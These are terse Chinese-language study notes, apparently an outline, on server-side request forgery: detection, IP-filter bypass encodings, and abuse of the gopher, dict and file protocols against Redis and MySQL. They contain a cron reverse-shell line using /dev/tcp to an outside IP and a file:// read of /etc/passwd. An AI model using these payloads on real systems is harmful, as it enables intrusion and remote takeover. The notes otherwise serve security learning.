ssrf的危害
ssrf漏洞的判断
回显
延迟
DNS请求
相关函数
file_get_content
curl可以支持很多协议
curl -v可以查看curl支持的协议
也可以在phpinfo中查看支持的协议
ip限制绕过
添加端口：
短网址
指向任意ip的域名 ：
ip地址限制绕过：
十进制 2130706433
八进制 0177.0.0.1
十六进制 ox7f.0.0.1 0x7f000001
不同进制的组合
302跳转
结合dict dict://120.0.0.1:3306
file://
gopher://协议
http://www.baidu.com@192.168.0.1
gopher协议
gopher对redis的利用
限制
redis 没有密码 cron 定时任务—》反弹shell 具有写权限
*/1****/bin/bash -i >& /dev/tcp/106.12.37.37/2333 0>&1
定时任务语法： 为什么有 回车》
逐行执行定时任务
先流量转发
gopher对mysql
mysql无密码：
登入数据库
查询数据：
请求的接口：
curl 绕过执行系统命令
php-curl ssrf file://127.0.0.1/etc/passwd
localhost
